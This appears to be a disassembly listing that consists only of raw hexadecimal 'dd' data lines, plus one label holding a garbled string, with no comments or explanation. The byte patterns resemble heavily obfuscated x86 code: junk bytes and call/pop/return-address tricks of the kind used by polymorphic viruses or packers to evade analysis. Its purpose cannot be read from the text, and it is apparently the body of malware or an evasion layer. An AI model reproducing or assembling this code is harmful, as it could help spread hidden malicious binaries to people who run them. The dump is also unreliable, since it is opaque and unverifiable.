		dd 0B589292Fh, 61420D1h, 8E49858Dh, 0D9BB0617h,	907B4515h
		dd 2CFCBB56h, 505F7DC6h, 95410BBBh, 6A9026h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 2395E3C3h
		dd 1410419Dh, 0A1B58906h, 64061408h, 35FFh, 4CB30000h
		dd 258964h, 0FF000000h,	142DED85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0F68D9E48h
		dd 0CE80603Eh, 7E907h, 0CDE70000h, 0E711415Eh, 81666102h
		dd 6A871BC7h, 1DB5FFFFh, 6A06140Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0EC87C357h
		dd 0DE26BAC4h, 8995FFBAh, 0E906142Ah, 12Ch, 0A6ABF66h
		dd 9D3100B0h, 6140F8Dh,	0BD0370E6h, 6140515h, 0E4FABF0Fh
		dd 0BE871h, 0AC880000h,	52735C8Ch, 5118F04h, 0EB81665Bh
		dd 3C5B4839h, 0F5830F61h, 29000000h, 142B39BDh,	0C8B60F06h
		dd 0CAE8BF66h, 6BAh, 1D853100h,	8B061418h, 4E8C1C1h, 0B436EF81h
		dd 0F76676F9h, 7E9E2h, 0E1B30000h, 0DF9FE8D2h, 8BC82B65h
		dd 69BD8BD1h, 0F061404h, 483h, 46BF6600h, 0AAE9E4h, 890F0000h
		dd 11h,	0AE952h, 96520000h, 227F7D2h, 0C1164CFh, 8858B5Fh
		dd 66000000h, 83E5C5BBh, 9D0307C0h, 614049Dh, 100C083h
		dd 142D3195h, 35BD8B06h, 3B061412h, 2A830FD0h, 0E9000000h
		dd 0Eh,	8264EA14h, 0C5FCEACh, 9AF7EF57h, 51E9C184h, 0E8000000h
		dd 9, 88356A34h, 8EDA70B5h, 0D88B6605h,	0FF8D8B5Fh, 0E9FFFFFFh
		dd 0Bh,	0FFF222B7h, 0FB213702h,	83AE268Ah, 840F01E1h, 20h
		dd 0B58589FCh, 83061417h, 0FFFFFFA5h, 9D2BFEFFh, 61402FDh
		dd 89589h, 0E9F80000h, 0
		dd 370DB58Dh, 0D88B0618h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 5A9B54C3h, 0FEB70F08h
		dd 14E9h, 91FCEC00h, 9CDC5D86h,	442A1A4Ah, 0CC0A4E3Eh
		dd 1355B045h, 7195FFD0h, 6A061429h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 61A5C357h
		dd 12E86EC2h, 0AD000000h, 8BA8D650h, 80596457h,	0BFDD38F4h
		dd 0E801DE6Fh, 5BD98BE4h, 7D75BF66h, 0FE5B9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 38156E4Fh, 0E99D8B94h, 83061422h, 6AFCE1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D0316C3h
		dd 6142FF5h, 9A9BD0Bh, 0F9FC0614h, 2BFA8B66h, 79BD29C0h
		dd 0BA06142Dh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8EC35545h
		dd 4EDC27E1h, 0E957B258h, 13h, 80DFD4D9h, 0A1ED3C3Ah, 0C2842DE3h
		dd 27654EF3h, 5F14CB40h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 14E9h, 8BFBD000h, 0CA68A098h, 44ED00Ch, 84894FFBh, 0C64472EEh
		dd 99958972h, 0D061409h, 88h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 6AC35646h, 6E95503h, 0FF000000h
		dd 72970A7Bh, 69958B13h, 6006142Bh, 0E380C78Bh,	60BB6175h
		dd 8B489D94h, 1410558Dh, 35BD2906h, 5006140Ch, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 71BD8B58h,	0E9061413h
		dd 0Ch,	0D11BBF69h, 4DF6FACCh, 0BC8FA46h, 0F4DBD83h, 0F000614h
		dd 3B84h, 399D8900h, 0B806141Ch, 0
		dd 2A799509h, 8D8D0614h, 6144DFFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0A2C35141h,	0FFBD305Fh, 61F960E1h
		dd 13DBD83h, 0F000614h,	4D484h,	58D2900h, 8306140Eh, 14013DBDh
		dd 840F0106h, 4DCh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0FAC35040h, 0D1EBB09Bh, 3DBD83BCh, 3061401h
		dd 478860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 1FC238C3h, 60465E38h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 69C35545h, 0FB8B13A0h
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 7FC4C351h, 8EDB4017h, 0F2E84F74h
		dd 0EE8h, 47783D00h, 0E19FEA71h, 0F8092D86h, 0E847CAA5h
		dd 0Dh,	0D32B87B3h, 7C5DE694h, 0BA20DCA1h, 35BD8B8Ah, 5B06140Dh
		dd 4E1805Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0AEC35545h, 79FBEEFFh, 0FC90AFCh, 11B84h, 858BF500h
		dd 6140E35h, 8533F98Bh,	61406A9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 11C35141h, 0A21E157Ch, 0C2CAFEA2h
		dd 0BB666050h, 0BE87620h, 4E000000h, 0AF0DB892h, 0D4845D4h
		dd 615A5FBFh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 9D62C355h, 58BD2778h
		dd 8509006Ah, 6140EB1h,	6939BF68h, 0DF8B66A8h, 40240481h
		dd 6A57B5CAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0DA48C353h, 0E6126DF6h, 605ADC73h
		dd 130D9D89h, 0B8660614h, 896167EAh, 1433D585h,	9D95FF06h
		dd 6A061408h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 9F7CC351h, 2E5D7803h, 33B9BD8Bh
		dd 85890614h, 617A7EAh,	11E9DA8Bh, 6A000002h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0C948C355h, 954DDFB7h, 0EF9CEFB6h, 0A7E2858Bh, 6E80617h
		dd 84000000h, 678E8C96h, 0FE85108h, 76000000h, 63E4C1Fh
		dd 43E54B0Eh, 0A180CC57h, 5B5F32B8h, 1800C75Fh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 39F8C351h, 0C29CD4A8h, 6E952h, 32660000h
		dd 0E1C7CA25h, 0E6B58B5Fh, 6A0617A7h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5612C353h
		dd 0BD09902Bh, 6140D4Dh, 281858Bh, 9D010614h, 6140955h
		dd 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 53849CC3h, 2BDF8166h, 35858B32h, 0BF06140Eh
		dd 328C7AF4h, 6A044689h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0DE66C355h,	5295417Ah
		dd 1DBCB146h, 2960FE8Bh, 1409C5B5h, 0DE906h, 84450000h
		dd 8795A41Ah, 8291402Dh, 61B2A3D7h, 0DFD1BF96h,	50501935h
		dd 7E852h, 27ED0000h, 4972E558h, 5B5F50A8h, 50BF310Fh
		dd 5A4DC64Ch, 0EB819658h, 1DE4C46Bh, 0A7E2B5FFh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 38F886C3h, 0B70F29E1h, 4850FF8h, 66000000h, 68008EBFh
		dd 6CB7823Ah, 68C0Fh, 8B0F0000h, 0
aB4Bilj		db '4$Ũlj',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 6231C355h, 890F6A43h, 6, 9CDBD8Bh, 858D0614h, 617A7EAh
		dd 1C0D9D8Bh, 0F7810614h, 613F3E40h, 202CBF50h,	4897287h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BE91D04h, 142FC99Dh, 9D95FF06h,	0F8061408h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F0DDFB02h, 13E91064h, 3F000000h, 46FABCD8h
		dd 6AFBC1A9h, 0D4A3E132h, 8A58629h, 85C79DF2h, 614013Dh
		dd 3, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 18h
		dd 0BDC35343h, 54664B11h, 2FDD9589h, 0BD830614h, 617A7EAh
		dd 37840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 648AC356h, 1115D122h
		dd 0EADD4553h, 62A0BB66h, 211BD8Bh, 1EE90614h, 0F000000h
		dd 3050FFB7h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6AAB24h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 850F5CC3h, 0Ch, 6830Fh
		dd 0B5890000h, 61417C1h, 13DBD83h, 0F030614h, 44285h, 858D8900h
		dd 83061426h, 17A7EABDh, 840F0006h, 42Fh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0ABC35747h, 0CB8166A9h
		dd 0B5FF3529h, 617A7EAh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 71C35242h, 0B4829C94h, 5B32B41Bh, 3995FF63h
		dd 8B061403h, 0BD0B51FBh, 6140C99h, 0DEB58B5Bh,	90617A7h
		dd 141529B5h, 106C706h,	29000100h, 14040D9Dh, 0C341BF06h
		dd 0E9966297h, 13h, 0AEE13742h,	5245466Eh, 91323AD6h, 7F2F957Ch
		dd 502142E8h, 0F855A5BBh, 6A9642h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0F3F857C3h, 0E923AEFCh
		dd 11h,	0B2985D6Ah, 4A8804E5h, 483DC91Eh, 0FD197215h, 0D99D8B43h
		dd 0B061415h, 1412159Dh, 0EAB5FF06h, 8B0617A7h,	16F381D9h
		dd 0FF0FFE72h, 14108195h, 0F59D8B06h, 8B061416h, 17A7DEB5h
		dd 45BD8B06h, 8B061402h, 140FF985h, 419D8906h, 8106141Ch
		dd 0B1095CDFh, 0C4868942h, 8B000000h, 142B6995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F69BB0EBh, 49C411CCh, 0C283A69Ah, 12E804h, 4420000h
		dd 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h,	895BD1B3h
		dd 800F2050h, 8, 0E5BD8B51h, 5F061409h,	0BC23858Dh, 0DE80617h
		dd 0CB000000h, 4291805Ch, 648A0170h, 1115D122h,	0C9B53360h
		dd 0E9061401h, 0Ah, 0CFCB095Eh,	0A9A5A197h, 5F6131A6h
		dd 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0ECD2FDC3h, 0C3290B61h, 6A006AF9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B763C351h, 0DBC43B49h, 0BD8B5EF2h, 61434B1h
		dd 0A7EAB5FFh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 25EEC1C3h, 0F60157Eh, 28Dh, 611EB500h
		dd 33AD95FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0B6DE4AC3h, 0F10F7B22h, 9D898EECh
		dd 6142C35h, 0AE850h, 0DF620000h, 1AE488CEh, 0BBC9704h
		dd 0E50DBB51h, 5F5F135Dh, 0FF243489h, 17A7EAB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 5CC84554h, 0BD8BF56Fh, 6141FC5h, 230995FFh, 8ABB0614h
		dd 837828C2h, 141189BDh, 840F0006h, 44h, 0EDBD8B50h, 5B06142Fh
		dd 0BA666096h, 820F6842h, 2, 50616160h,	96FE8B66h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 39C35747h, 0BA0A64F2h
		dd 34DDD72Ch, 4C46BF66h, 0A7EAB5FFh, 14E90617h,	0FC000000h
		dd 6B0B5B9Ah, 0B15B981Ch, 1D6213BFh, 7E1EB9A7h,	0FF4A0258h
		dd 1402D595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0E8EDAD78h, 0E38098A0h, 0A3CB818Fh
		dd 0FF4A635Ah, 17A7EAB5h, 0DDBD8B06h, 0FF06140Ch, 140B7595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 85D46F95h, 2109C451h, 0DD8D2915h, 83061417h
		dd 14112DBDh, 840F0206h, 6Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0EDC35141h,	6870Fh,	9D290000h
		dd 61425D5h, 55858Bh, 0BD8B0614h, 6140A7Dh, 6D17BB51h
		dd 0C65F7C21h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 35747CC3h, 8D297972h, 61401E9h
		dd 1E899D89h, 85C70614h, 6141E49h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 58C35343h
		dd 0E5653445h, 91BD8BFDh, 0E9061413h, 0FFFFF2D3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B9C35747h, 9531605Ch
		dd 6141921h, 0A820EA81h, 8B6133AFh, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 62973AFDh
		dd 8D38C3B9h, 14079185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8F3B4A3Fh, 9D2960EEh
		dd 6140701h, 2A59531h, 90610614h, 310F5250h, 7E960h, 0E9840000h
		dd 42768758h, 0F98B662Fh, 50585A61h, 16800Fh, 0EE80000h
		dd 0A1000000h, 9AF91047h, 0F1ABF736h, 2E96C670h, 5B5F5666h
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0AE85359h, 0E4000000h, 0C6A41DE1h, 0DDCB47D2h
		dd 85895200h, 614021Dh,	6A5B5Bh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 15h, 86C35747h, 6860F91h, 0B000000h
		dd 1411E5BDh, 0CF816606h, 6ABA15h, 25B589h, 858D0614h
		dd 618D469h, 19F5B529h,	0C0830614h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 80ACFCB9h
		dd 0DDF4A341h, 0D419D29h, 0E9500614h, 0Ah, 6365829Fh, 9F69EA3h
		dd 4890413h, 1BD8B24h, 6A06141Bh, 0EDBD8B00h, 6A06141Fh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0F35E6F3Fh, 2E070E8Ah, 12E9h, 2F074500h
		dd 0B02ACE51h, 642ABA40h, 73A593C2h, 0FFEC3D45h, 141B1995h
		dd 8EE38006h, 0A7788D8Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 3302E3C3h, 5DE50543h
		dd 95897C79h, 61404B5h,	6AD1FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A3C3AAC3h, 29F3133Eh
		dd 66F5643Bh, 0BD83DF8Bh, 61401CDh, 0A2850F01h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F2FC350h, 68Ah, 0E19D8B00h, 6A061404h, 53006A02h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BD6E574h, 14001DBDh, 0BB509006h, 4034E379h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 9E657F62h, 0FFFC7000h, 1433AD95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0E844CCDBh
		dd 8CF9FA91h, 0ED0E97Bh, 0E80000h, 5D000000h, 0D473ED81h
		dd 8D290618h, 61411D9h,	5E9h, 0B3A26900h, 0BD2967B1h, 6140711h
		dd 8E49858Dh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0F43CD3C3h, 0F276B84h, 48Bh, 56BF6600h
		dd 0E9515032h, 14h, 6B4F8DA1h, 7446EF40h, 4A0A407h, 9A4BB565h
		dd 72EBFBF0h, 2404895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 53C35141h, 0F0D8D3EFh, 3800FA9h, 80000000h
		dd 0FF64B0CBh, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 853519BAh, 182CC781h
		dd 89645EFEh, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1A04h, 0C3504000h, 122B4843h, 8BBF5224h
		dd 141005BDh, 0F9B58906h, 0FF061422h, 142DED85h, 0CB816606h
		dd 0FF6AE501h, 5E9h, 24EE5E00h,	0B5FF842Eh, 6142389h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3BC35646h, 0BB1A852Fh
		dd 141FCE6Ch, 1DBDBD8Bh, 95FF0614h, 6142A89h, 140E9h, 0F800B000h
		dd 8F0F70E6h, 1, 0F71E4F9h, 681h, 0F1B53100h, 3C061430h
		dd 1E830F61h, 0E9000001h, 0Bh, 27777966h, 5B589D82h, 0FDFD671h
		dd 0DB81C8B6h, 2F09BF7Dh, 6BAh,	719D8900h, 0E8061412h
		dd 0Bh,	17AC41D3h, 6F08B8E7h, 0E9A70F01h, 5, 492BD531h
		dd 0C18B5B17h, 2D99D8Bh, 0E8C10614h, 0F2BF6604h, 0E2F76610h
		dd 12E9h, 3EB51600h, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh
		dd 2B66D37Dh, 66D88BC8h, 7DEDC381h, 0EE8D18Bh, 9000000h
		dd 4A89AD7Ch, 2CDB2E45h, 444D5C06h, 12E9CBh, 24D70000h
		dd 0BDFE9F41h, 0BAE847E9h, 0F714E402h, 83EE3729h, 7BE95Bh
		dd 0CE90000h, 49000000h, 865CD10Bh, 9D3E0532h, 8BFB617Ch
		dd 185h, 25D38100h, 836453A6h, 0BD8B07C0h, 6141F79h, 6600C083h
		dd 3B9456BBh, 0B830FD0h, 8B000000h, 14073DBDh, 3BE906h
		dd 8D8B0000h, 0FFFFFFFFh, 0E183F88Bh, 2A840F01h, 9000000h
		dd 1433F18Dh, 4870F06h,	66000000h, 835921BFh, 0FFFFFFA5h
		dd 0BF0FFEFFh, 19589D9h, 66000000h, 6D8DCF81h, 0E9h, 0F2B58D00h
		dd 81061846h, 0B50398DFh, 6A006A46h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2025C355h
		dd 780F8C6Dh, 7195FF09h, 6A061429h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0FCBDC357h
		dd 0ABA57B70h, 6880Fh, 0B5890000h, 6142FB1h, 0FF0B9h, 83FE8B00h
		dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 289A93C3h, 89A5C46Dh, 14181585h, 0C18D8906h
		dd 0FC061401h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	59C35343h, 0F938A0C8h, 0C3226E32h, 6840Fh, 85010000h
		dd 614262Dh, 0B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 203DB149h, 0E9600355h
		dd 9, 0B1220407h, 9DB7C7C0h, 0BD89617Bh, 6142E09h, 6AD22Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 6236DFC3h, 1E219529h, 33AD0614h, 3E8D1C2h, 4E983D0h
		dd 9D8BF475h, 61415FDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0BEC35646h, 0E8408E2Fh, 9D03113Dh, 6140981h
		dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4D19E20Eh, 6E939D1Fh, 2B69958Bh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 12372DC3h, 3719D89h, 8D8B0614h, 6141055h
		dd 55C08060h, 8E861h, 0A2D20000h, 0F09435CEh, 5BFC2A15h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	8B575818h
		dd 1429759Dh, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 5BDB5BC3h, 26BE1EAh, 0BD83B56Bh
		dd 6140F4Dh, 0A1840F00h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BB98C351h
		dd 0B86541EAh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CBC35646h
		dd 2B13D61Dh, 0FF8D8D3Fh, 6A06144Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 84C6C351h
		dd 0D151686Dh, 0FC1C92Ah, 28Eh,	0FFDC8A00h, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 47523CB1h, 0BF2D8C4Bh, 673B6BDFh, 13DBD83h, 0F000614h
		dd 46184h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 89B58949h, 83061410h, 14013DBDh
		dd 840F0106h, 44Dh, 1CCD9589h, 0BD830614h, 614013Dh, 4860F03h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F9CC351h, 1484h, 0FE900h, 78870000h
		dd 0F63173D1h, 0FC5D38Ah, 0C0A9779Bh, 6DB5890Fh, 6006140Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2EC35545h
		dd 86F68523h, 44B2B1A4h, 0D98C6686h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 96C35545h, 0F5C3A448h, 52CEC921h
		dd 80D98B66h, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 5200B0C3h, 0F9891A43h, 8D291C31h
		dd 61404F1h, 2FB9BD89h,	0C90A0614h, 140840Fh, 0F600000h
		dd 8ABADAB7h, 61539828h, 0E35858Bh, 95890614h, 6140E75h
		dd 6A98533h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 6CFD4C3h, 58BC564Dh, 8B1A0160h
		dd 142C019Dh, 0DEDB8106h, 5056A0D6h, 0BC8759BBh, 2404891Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 53C35343h
		dd 994F8B20h, 3DBD2350h, 5F06141Ah, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 98544EC3h
		dd 0D5DFCF23h, 4E86FE9h, 0FF000000h, 50001F03h,	424448Bh
		dd 48E0Fh, 52600000h, 8B6158h, 138E0Fh,	0EE90000h, 71000000h
		dd 6A6E404h, 85A800A6h,	9D89C62Dh, 2444896Dh, 13E804h
		dd 33F20000h, 15FC50B3h, 288D709Eh, 0FF0D0896h,	0C43F2AF7h
		dd 7E9EFh, 23E10000h, 50801526h, 29585FE3h, 140F0985h
		dd 9D95FF06h, 60061408h, 1D19BD23h, 89610614h, 17A7EA85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E951EAABh, 165h, 858BFA8Bh, 617A7E2h, 0C7D98B66h
		dd 1800h, 0F3DDBB00h, 0B58B4583h, 617A7E6h, 8BFFB70Fh
		dd 14028185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 689EE22h,	0E2816660h, 8B615E29h
		dd 140E3585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 95BD89C3h, 8906142Bh, 6A0446h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5BCA41C3h, 0E1EA5BDBh, 896B026Bh, 1408058Dh,	11E85006h
		dd 2A000000h, 77C816B6h, 0FC51EDACh, 0AFD60104h, 0BE3BBBA7h
		dd 895FDA8Ah, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 4A82E2C3h, 82E8BF80h, 52E2F908h
		dd 7644BB66h, 0E2B5FF5Bh, 0F0617A7h, 0CC68FFB7h, 0F1F9697h
		dd 288h, 81DDB300h, 94332434h, 0B70F1F89h, 13E9DFh, 30690000h
		dd 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 0AC6D40F9h, 0EA858D03h
		dd 660617A7h, 90095FBBh, 14E9h,	6B9FF00h, 2AC54487h, 83750CE5h
		dd 0E19DB5BFh, 477A0C94h, 8B6650E3h, 10E990FAh,	3D000000h
		dd 55036A32h, 0BF692764h, 0FACCD11Bh, 0FF464DF6h, 14089D95h
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 4A963C3h,	3ED375DCh, 8BB52643h, 3D85C7D8h
		dd 3061401h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E8AAC356h,	8, 0E5DA614Dh
		dd 4253D8FCh, 20719D31h, 835B0614h, 17A7EABDh, 840F0006h
		dd 2Bh,	92B0BF66h, 3DE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 9040A6C6h
		dd 50248E0Bh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 4D7A52C3h, 16666D02h, 6633D1B8h
		dd 831E6CBFh, 14013DBDh, 850F0306h, 497h, 191B531h, 810F0614h
		dd 15h,	10E9h, 0D88ACD00h, 21D11621h, 6C32374Dh, 0DEDD11F7h
		dd 0EABD83A7h, 617A7h, 469840Fh, 0B70F0000h, 0EAB5FFF8h
		dd 6A0617A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 3016C352h, 0A311BF6Ah,	0BF66649Fh
		dd 95FF1256h, 6140339h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 83C35545h, 0E97A1837h, 13h, 89B4887Eh
		dd 9C19F383h, 70BDCFD1h, 0A4E71352h, 8BA6C600h,	17A7DEB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0C7FD0733h, 1000106h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8B33CAA9h
		dd 0FFB35070h, 68C0Fh, 0B5290000h, 6141839h, 6850Fh, 8D890000h
		dd 614156Dh, 50FAB70Fh,	3489D98Bh, 0A9BD8B24h, 0FF061419h
		dd 17A7EAB5h, 459D8B06h, 0FF061402h, 14108195h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0E025907Ah, 0E7971527h, 9BCB8166h, 0DEB58B84h, 0F0617A7h
		dd 68Eh, 35852900h, 8B06141Eh, 140FF985h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0F81643Fh, 684h, 7AD38100h, 894058F3h, 1434A9B5h, 0C4868906h
